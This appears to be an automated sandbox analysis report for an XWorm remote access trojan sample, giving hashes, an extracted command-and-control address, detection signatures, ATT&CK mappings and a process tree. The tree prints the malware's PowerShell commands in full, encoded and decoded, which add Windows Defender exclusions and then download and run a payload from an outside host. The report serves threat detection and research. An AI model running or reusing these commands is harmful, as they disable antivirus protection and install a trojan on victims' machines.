xworm | 6b15049422918b6d02726b9507c53ac054938927cb726d2ae30dfc36bad2d3c5

Analysis

max time kernel
149s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20251016-en
resource tags

arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
submitted
06/11/2025, 03:46

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General

Target
2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe
Size 130KB
Sample251106-ebr9pswrcw
SHA256 6b15049422918b6d02726b9507c53ac054938927cb726d2ae30dfc36bad2d3c5
MD5 b956d4ddda4a13e0d6dc3c57ae1d1399
SHA1 86d95259fd58402a9a0cb982eba032481cad777d
SHA512 226a3d25cfacb7542140e12820c2f9fe13b75a2add6cd83a7818c8a7017f2b61268969ac94694372ce6440faf2bec657e5e80e242bf97a8c701a3e4fffdaf033
SSDEEP 1536:7MVqqUNuA4U31WQ2DjtjbzVa4BDMS56tQa+x5HaEZSMXe9vV/BXBIJKEtN7NK36v:7QqqvdQ2DRbp/x0CSrgP7NWVc
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution xworm rat trojan

Malware Config

Extracted

Family

xworm

supercoolweb.ddns.net:6565

Mutex

bTbH7mDk0MFcyQqK

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000024200-28.dat	family_xworm
behavioral1/memory/4196-35-0x0000000000A00000-0x0000000000A10000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	60	powershell.exe
8	60	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
60	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	60	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4196	RuntimeBroker.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ip-api.com

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4476	powershell.exe
4476	powershell.exe
60	powershell.exe
60	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	4196	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 624 wrote to memory of 2964	624	2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe	84
PID 624 wrote to memory of 2964	624	2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe	84
PID 2964 wrote to memory of 4476	2964	cmd.exe	85
PID 2964 wrote to memory of 4476	2964	cmd.exe	85
PID 4476 wrote to memory of 60	4476	powershell.exe	86
PID 4476 wrote to memory of 60	4476	powershell.exe	86
PID 60 wrote to memory of 4196	60	powershell.exe	91
PID 60 wrote to memory of 4196	60	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAAaAB0AHQAcAA6AC8ALwBnAHIAYQBjAGUAZgB1AGwALQBzAHAAZQBjAHUAbABvAG8AcwAtAGYANAA1ADgAMAA5AC4AbgBlAHQAbABpAGYAeQAuAGEAcABwAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAAaAB0AHQAcAA6AC8ALwBnAHIAYQBjAGUAZgB1AGwALQBzAHAAZQBjAHUAbABvAG8AcwAtAGYANAA1ADgAMAA5AC4AbgBlAHQAbABpAGYAeQAuAGEAcABwAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\RuntimeBroker.exe" http://graceful-speculoos-f45809.netlify.app/RuntimeBroker.exe ; START $env:TEMP\RuntimeBroker.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/RuntimeBroker.exe
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:60
    - - C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 120aeb6d51d942abd453d508b7bfd606aff0c798e588ca2e18b23d5a993820ad
MD5 34b159616f80c1d5893cf406775bad4e
SHA1 dff5f71c17b07b8549b36e1c768db925205e1b4f
SHA512 3694b353483d4297944cf8d0ecfba7ed832d94dc25dd7012c7d6b4415b5bfcc90d72b468f3cf3a038f3936d5b56ee14622677eb069a3a29933cb18ee447bb82b
MD5 SHA1 SHA512

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RuntimeBroker.exe

Path C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
Size 42KB
SHA256 b5d79ce108f6d7e5d1b18be335e79053a8d10d318fe91285af15387eb268addb
MD5 ac6e6e1634a1bc5db4d39ad66388a265
SHA1 06c3f83760db8753df8f7bfe89ce0775b87b6879
SHA512 f6119145272636b906797c8d7685537f2655870342604ccf8b248752acb07f9dda566f4d9fb179b23c16a9635c4498427f22a47f91d850df4b73ce738c6747ad
SSDEEP 768:YzJjEgzGeLDwp7yGktgiOACIEaFR93Mrynyz:AlVLm6AgDROIyz
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_fxncjwzk.0qs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fxncjwzk.0qs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/60-14-0x000001F854F10000-0x000001F854F20000-memory.dmp

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memory/60-15-0x000001F854F10000-0x000001F854F20000-memory.dmp

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memory/624-12-0x00007FF799300000-0x00007FF799323000-memory.dmp

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memory/4196-35-0x0000000000A00000-0x0000000000A10000-memory.dmp

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memory/4476-1-0x000002643F790000-0x000002643F7A0000-memory.dmp

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memory/4476-0-0x000002643F790000-0x000002643F7A0000-memory.dmp

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memory/4476-9-0x00000264421F0000-0x0000026442212000-memory.dmp

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